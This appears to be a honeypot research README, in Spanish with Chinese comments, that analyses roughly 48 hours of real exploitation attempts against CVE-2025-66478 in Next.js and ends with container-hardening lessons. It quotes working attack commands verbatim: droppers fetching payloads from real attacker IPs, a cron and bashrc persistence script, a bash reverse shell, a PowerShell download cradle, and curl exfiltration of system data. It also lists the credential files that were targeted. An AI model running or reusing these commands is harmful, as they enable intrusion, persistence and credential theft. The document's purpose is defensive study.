
Análisis de registros de ataques del mundo real de CVE-2025-66478 (RCE en Next.js Server Actions) con muestras de malware, seguimiento de IP del atacante y lecciones de endurecimiento de seguridad de contenedores.
Este proyecto recopila los registros reales de ataques capturados por una aplicación Next.js 15.1.2 expuesta en Internet (ejecutada en un contenedor Docker). Estos registros muestran cómo la vulnerabilidad CVE-2025-66478 fue escaneada y explotada en la naturaleza por numerosas herramientas de ataque automatizadas.
Rango de tiempo registrado: 2025-12-04 ~ 2025-12-06 (aproximadamente 48 horas)
Información del entorno:
Los atacantes intentaron ejecutar comandos que descargan y ejecutan malware a través de la vulnerabilidad.
| IP de origen del ataque | URL de la carga maliciosa | Descripción |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | Botnet/minador |
| 38.207.161.212 | http://38.207.161.212/agent | Programa agente malicioso |
| 43.156.63.124 | http://43.156.63.124/tsd | Implanta un backdoor en cron |
| 154.38.121.219 | res.qiqigece.top/nginx3 | Malware disfrazado de nginx |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | Script de botnet IoT |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | Minador/programa de backdoor |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | Script malicioso |
| 38.12.24.231 | http://38.12.24.231/kworker | Malware disfrazado de kernel worker |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | Script de inicialización |
# 典型的 dropper 攻擊
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# 植入 cron 持久化後門
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# 複雜的持久化攻擊(嘗試多種下載方式 + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
Los atacantes intentaron establecer conexiones de reverse shell para obtener acceso interactivo.
# Bash 反向 shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
Los atacantes asumieron que el objetivo era un sistema Windows e intentaron ejecutar comandos de PowerShell.
# Base64 編碼的惡意 PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# 解碼後:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# 數學計算用於漏洞確認
powershell -c "41*271" # = 11111(特徵碼確認)
powershell -c "44225*41002" # = 1814113450
Los atacantes intentaron recopilar información del sistema para ataques posteriores.
# 系統資訊收集並外傳
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
Los atacantes intentaron leer diversos archivos sensibles y credenciales.
Variables de entorno del contenedor que se filtraron con éxito a través de la vulnerabilidad:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
Los atacantes utilizaron consultas DNS para exfiltrar datos o confirmar la vulnerabilidad:
ping 5a58e4a0.log.dnslog.pp.ua.
La mayoría de los ataques fracasaron debido a la naturaleza minimalista del contenedor Alpine Linux:
| Herramienta faltante | Impacto |
|---|---|
curl | No se pueden descargar las cargas maliciosas |
bash |
Aunque wget está disponible, algunos scripts maliciosos siguen dependiendo internamente de curl o bash, lo que provoca que su ejecución falle.
Los registros contienen una gran cantidad de datos codificados en Base64. A continuación se muestran algunos resultados de decodificación:
# digest: 'cm9vdAo='
解碼: root
# digest: 'dGVzdAo='
解碼: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
解碼: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
解碼: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# /tmp 目錄內容
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
解碼:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
A continuación se muestran las direcciones IP de origen de los ataques registrados:
Los atacantes intentaron invocar Server Actions inexistentes:
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"
Los atacantes aprovecharon el campo digest en los mensajes de error para filtrar datos:
Error: x
digest: 'cm9vdAo=' // Base64 編碼的 'root'
curl, bash o python que puedan ser abusadas--read-onlyEste proyecto tiene fines exclusivamente educativos y de investigación en ciberseguridad. Todos los ataques registrados son intentos reales de ataque dirigidos a un honeypot de investigación. No utilice esta información con fines ilegales.
Este proyecto incluye muestras reales de malware extraídas y descargadas de los registros de ataques. Consulte el análisis detallado en:
MIT License
| Categoría | Ruta |
|---|
| Credenciales en la nube | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| Claves SSH | /root/.ssh/id_rsa, /root/.ssh/config |
| Credenciales Git | /root/.git-credentials, /root/.gitconfig |
| Contenedor/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| Aplicación | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| Historial de shell | /root/.bash_history, /root/.zsh_history |
| Herramientas en la nube | /root/.ossutilconfig (Alibaba Cloud OSS) |
/root/.npmrc | |
| Configuración del sistema | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
| No se puede ejecutar la sintaxis específica de bash (como reverse shells) |
powershell | Los ataques a Windows no son efectivos |
python | No se puede usar el descargador de Python |
| Dirección IP | País/Región (estimado) | Tipo de ataque |
|---|
| 216.158.232.43 | Estados Unidos | Dropper |
| 38.165.44.205 | Estados Unidos | Dropper |
| 23.95.44.80 | Estados Unidos | Dropper |
| 154.38.121.219 | Hong Kong | Malware (nginx3) |
| 38.207.161.212 | Estados Unidos | Agent |
| 43.156.63.124 | China | Backdoor cron |
| 47.79.42.91 | China (Alibaba Cloud) | Botnet IoT |
| 47.79.65.237 | China (Alibaba Cloud) | Minador |
| 119.45.243.154 | China (Tencent Cloud) | Minador |
| 144.22.210.54 | Brasil | Dropper |
| 217.60.249.228 | Suecia | Dropper |
| 154.26.192.32 | Estados Unidos | Reverse Shell |
| 156.234.209.103 | Desconocido | Carga útil PowerShell |
| 38.60.212.106 | Estados Unidos | Recopilación de información |
| 103.135.101.15 | Vietnam | Botnet |
| 128.199.194.97 | Singapur (DigitalOcean) | Script de instalación |
| 38.12.24.231 | Estados Unidos | Malware persistente |
| Archivo | Tipo | Tamaño | Origen | Nivel de amenaza |
|---|
| nz.sh | Script de shell | 931 B | iot.632313373.xyz | Media |
| tsd.sh | Script de shell | 1.7 KB | 43.156.63.124 | Alta |
| tsd | ELF 64-bit | 6.8 MB | 43.156.63.124 | Alta |
| init.sh | Script de shell | 6.1 KB | AWS S3 | Crítica |
| agent | ELF 64-bit | 23.7 MB | AWS S3 | Crítica |
| Agtisx.exe | PE32+ (Windows) | 24.0 MB | AWS S3 | Crítica |